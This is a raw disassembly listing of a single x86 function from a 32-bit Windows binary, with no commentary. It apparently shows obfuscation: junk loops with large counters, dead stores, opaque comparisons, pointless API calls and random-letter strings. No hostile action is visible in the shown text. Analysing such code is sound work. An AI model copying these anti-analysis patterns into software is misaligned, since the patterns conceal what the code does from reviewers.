lea edx, [ebp - 0xdc]
xor cl, cl
call fcn.10038366
pop ecx
pop ecx
add esi, 2
jmp 0x1003da53
push 3
pop esi
push esi
lea ecx, [ebp - 0x388]
call fcn.10006ab6
push esi
lea ecx, [ebp - 0x3d4]
mov dword [ebp - 4], 0x27
call fcn.10006ab6
mov byte [ebp - 4], 0x28
mov dword [ebp - 0x1bc], 0xc46b
mov dword [ebp - 0x248], 0xc2541761
mov dword [ebp - 0x1fc], 6
mov dword [ebp - 0x88], ebx
jmp 0x1003df53
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x388]
mov dword [eax + ecx*4], 0xa94b
inc dword [ebp - 0x88]
cmp dword [ebp - 0x88], esi
jl 0x1003df3a
push 0x49a8
push 0xd25
push 0xf4
push 1
push ecx
lea eax, [ebp - 0x88]
push eax
push ecx
lea eax, [ebp - 0x3d4]
push eax
push 0x6902
push ecx
mov ecx, 0x5abc
mov edx, ecx
call fcn.10038243
add esp, 0x24
lea eax, [ebp - 0x1fc]
lea edx, [ebp - 0x248]
push eax
lea eax, [ebp - 0x1bc]
push eax
push 1
push 0xa47
push ecx
push ecx
call fcn.1003ae24
add esp, 0x1c
lea ecx, [ebp - 0x3d4]
call fcn.10006b13
lea ecx, [ebp - 0x388]
mov dword [ebp - 4], edi
call fcn.10006b13
xor eax, eax
mov word [ebp - 0x9e], ax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x18], ebx
jmp 0x1003e015
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x1003e012
push 1
push 0x5e41
push 1
push 1
push 0x7c90
mov edx, 0x3d65
mov ecx, 0x1cf9
call fcn.10039e03
add esp, 0x14
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe6
je 0x1003dfe7
sub esp, 0xc
mov edx, 0x3541
push 0x54d0
push ecx
push ebx
sub esp, 0xc
mov ecx, 0x425c
call fcn.10037e25
xor eax, eax
mov dword [ebp - 0x2e0], 7
add esp, 0x24
mov word [ebp - 0x2f4], ax
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x2e4], ebx
lea ecx, [ebp - 0x2f4]
push eax
call fcn.10007434
cmp dword [ebp - 0x2e0], 8
lea eax, [ebp - 0x2f4]
push ebx
cmovae eax, dword [ebp - 0x2f4]
lea ecx, [ebp - 0x2f4]
push 1
movzx eax, word [eax]
mov dword [ebp - 0x40], eax
call fcn.10007591
push ecx
push ecx
xor cl, cl
call fcn.1003bac0
pop ecx
xor edx, edx
mov esi, ebx
pop ecx
inc edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], 0xe45bbbde
mov dword [ebp - 0x28], 4
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x18], ebx
jmp 0x1003e0ca
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x138], 0x6a5b5cf0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003e0b9
mov dword [ebp - 0x20], ebx
jmp 0x1003e125
mov dword [ebp - 0x34], edx
mov ecx, edx
mov dword [ebp - 0x24], 0x9d87263b
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], 0x90f9
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
sub ecx, eax
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x138], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe2
jg 0x1003e0d5
mov dword [ebp - 0x28], 0xe
jmp 0x1003e18a
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1003e168
mov eax, dword [ebp - 0x138]
xor ecx, ecx
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x138]
cmp eax, edx
setg cl
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x1003e13c
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x1003e187
sub esp, 0xc
push edx
push ecx
push ecx
call fcn.100373ac
xor edx, edx
add esp, 0x18
inc edx
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff0
je 0x1003e134
xor eax, eax
mov word [ebp + esi*2 - 0xa0], ax
inc esi
cmp esi, 2
jb 0x1003e09d
mov dword [ebp - 0x4c], 0x7937
cmp dword [ebp - 0x4c], 0x7cb6
mov dword [ebp - 0x54], str.cegbw_xifxeago_kqmff_mygrunwn_elbzdjh_iacjdzson_eaap_wtvf_yyvar_ltvnvt
jle 0x1003e201
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x24], 0x6c68
mov ebx, dword [ebp - 0x34]
mov eax, edi
mov ecx, 0x10077cb8
xor eax, ebx
cdq
push edx
push eax
call fcn.1000651b
add edi, esi
dec dword [ebp - 0x24]
jne 0x1003e1cc
inc esi
push 0
pop ebx
cmp esi, 0x2773
jl 0x1003e1c0
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x4a49
jl 0x1003e1be
or edi, 0xffffffff
mov edx, dword [ebp - 0x3c]
shr edx, 1
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x48], edx
mov ecx, dword [ebp - 0x98]
lea eax, [ecx + 1]
cmp eax, edx
jae 0x1003efc9
mov eax, dword [ebp - 0x38]
lea ecx, [eax + ecx*2]
call fcn.1003667e
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x34], 0x4136
cmp dword [ebp - 0x34], 0x4218
jle 0x1003e2a0
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x4ec]
and eax, edi
cdq
push edx
push eax
call fcn.10001ac9
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003e264
mov eax, dword [eax]
push eax
call fcn.10045f6d
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4ec]
call fcn.10007132
inc esi
cmp esi, 0x227f
jl 0x1003e248
inc edi
cmp edi, 0x4775
jl 0x1003e246
push ebx
push 0x1213
push 0x13dd
push ebx
or edi, 0xffffffff
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
cmp dword [ebp - 0x34], 0x3f58
jge 0x1003e2b4
push str.prvmlnfmp_odnibuof_lnl_jlrops_ekp_sjzm_orgokaiu_hrz
call fcn.10045f6d
pop ecx
mov dword [ebp - 4], edi
lea ecx, [ebp - 0x294]
mov dword [ebp - 0x28], edi
push 4
call fcn.10006ab6
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], 0x59a3
cmp dword [ebp - 0x18], 0x5adb
jle 0x1003e358
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov eax, edi
mov dword [ebp - 0x2c], ebx
cdq
mov ebx, ecx
idiv esi
mov edi, dword [ebp - 0x2c]
sub ebx, edx
mov eax, ebx
mov ecx, 0x10077cb8
xor eax, edi
cdq
push edx
push eax
call fcn.1000651b
inc edi
cmp edi, 0x34da
jl 0x1003e2fc
mov edi, dword [ebp - 0x34]
inc esi
mov ecx, dword [ebp - 0x24]
push 0
pop ebx
cmp esi, 0x692
jl 0x1003e2ed
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x22d7
jl 0x1003e2eb
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x24d7
jl 0x1003e2e6
push ebx
or edi, 0xffffffff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
push dword [ebp - 0x130]
movdqa xmm0, xmmword [0x1006b210]
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0x17c], ebx
push eax
push ebx
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x178], ebx
movdqu xmmword [ebp - 0x414], xmm0
mov dword [ebp - 0x174], ebx
call fcn.10020344
mov byte [ebp - 4], 0x2d
cmp dword [ebp - 0x18], 0x57b7
jge 0x1003e3dd
mov edx, str.pluexet_vbkjklog_mwexeyje_mfjnmzjo
mov ecx, 0x10077cb8
call fcn.10009581
jmp 0x1003e3dd
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x2c], 0xe95372a7
mov dword [ebp - 0x80], ebx
jmp 0x1003e401
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x100], 1
inc dword [ebp - 0x80]
cmp dword [ebp - 0x80], 4
jl 0x1003e3f0
push ecx
push 0x56bf
push 1
push ecx
lea eax, [ebp - 0x80]
mov ecx, 0x1354
push eax
lea edx, [ebp - 0x294]
call fcn.10037401
add esp, 0x14
cmp dword [ebp - 0xfc], ebx
je 0x1003e435
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x28], eax
jg 0x1003e461
cmp dword [ebp - 0x28], ebx
jne 0x1003e461
mov eax, ebx
jmp 0x1003e464
xor eax, eax
inc eax
xor ecx, ecx
cmp eax, 8
mov eax, dword [ebp - 0xfc]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xfc]
mov esi, dword [ebp - 0x294]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, 0x56974edf
mov dword [esi + 0xc], ecx
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov eax, dword [ebp - 0xfc]
inc ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], 6
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov edx, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x17c]
imul edx, ecx
mov dword [eax + 8], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp eax, edx
mov edx, dword [esi + 0xc]
setl cl
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, edx
setg cl
cmp ecx, 1
mov ecx, 0xba323a35
sbb eax, eax
neg eax
add eax, 7
imul eax, eax, 0x668c
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
add eax, edx
cmp eax, 0xc083
mov eax, dword [ebp - 0x294]
setle cl
mov dword [eax + 8], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x17c]
cmp dword [eax], ebx
setne cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x17c]
call fcn.10006b13
lea ecx, [ebp - 0x294]
mov dword [ebp - 4], edi
call fcn.10006b13
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x38]
lea ecx, [ecx + eax*2]
add ecx, 4
call fcn.1003667e
mov dword [ebp - 0xc0], eax
lea eax, [ebp - 0xbc]
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0xd8], 0x382b
mov dword [ebp - 0x1c4], 0xd0e75d5
push eax
mov dword [ebp - 0x34], 5
push ecx
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x2c], 5
push 0x4587
xor dl, dl
call fcn.10037b5b
mov dword [ebp - 0x34], ebx
xor edx, edx
mov ecx, dword [ebp - 0x28]
add esp, 0xc
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0xbc]
setge dl
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0xbc]
cmp eax, edx
setne cl
cmp ecx, 0xffff
ja 0x1003e771
mov dword [ebp - 0x20], edi
xor ecx, ecx
mov dword [ebp - 0x5c], 8
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0xd8]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
cmp eax, 0xdfcc
setge cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xd8]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x20]
setne dl
imul ecx, dword [ebp - 0x28]
add eax, dword [ebp - 0x2c]
imul edx, eax
mov eax, dword [ebp - 0x20]
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
neg ecx
cmp ecx, 0xd8e6
jge 0x1003e684
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x18], ebx
jmp 0x1003e78e
mov dword [ebp - 4], 0x36
cmp dword [ebp - 0x4c], 0x7850
jge 0x1003efe6
mov edx, dword [ebp - 0x54]
mov ecx, 0x10077cb8
call fcn.10009581
mov dword [ebp - 4], edi
mov dword [ebp - 0x90], 0xfffffff9
lea ecx, [ebp - 0x3b8]
push 1
call fcn.10006ab6
mov dword [ebp - 4], 0x38
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x1b0], 0xfffffffc
mov dword [ebp - 0x1c0], 0x9a9b8fa4
mov dword [ebp - 0x1b8], 4
push 1
call fcn.10006ab6
push 1
push 0x2f7e
lea eax, [ebp - 0x3b8]
mov byte [ebp - 4], 0x39
push eax
push 1
lea eax, [ebp - 0x1ac]
mov edx, 0x24e1
push eax
push 0x79c6
mov cl, 1
call fcn.100382f2
lea eax, [ebp - 0x318]
push 1
push eax
lea ecx, [ebp - 0x1ac]
call fcn.1003b27c
add esp, 0x20
mov dword [ebp - 0x90], ebx
jmp 0x1003f0b3
push ecx
push ecx
mov cl, 1
call fcn.1003bac0
dec dword [ebp - 0x90]
pop ecx
pop ecx
cmp dword [ebp - 0x90], 0xfffffff4
jge 0x1003f0a2
lea eax, [ebp - 0x1b0]
push eax
lea eax, [ebp - 0x1b8]
push eax
lea eax, [ebp - 0x1c0]
push eax
sub esp, 0xc
lea edx, [ebp - 0x318]
lea ecx, [ebp - 0x90]
push 1
push 0x2420
call fcn.1003bb86
add esp, 0x20
lea ecx, [ebp - 0x318]
call fcn.10006b13
lea ecx, [ebp - 0x3b8]
call fcn.10006b13
mov ecx, dword [ebp - 0xc]
mov eax, 0x102c5674
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret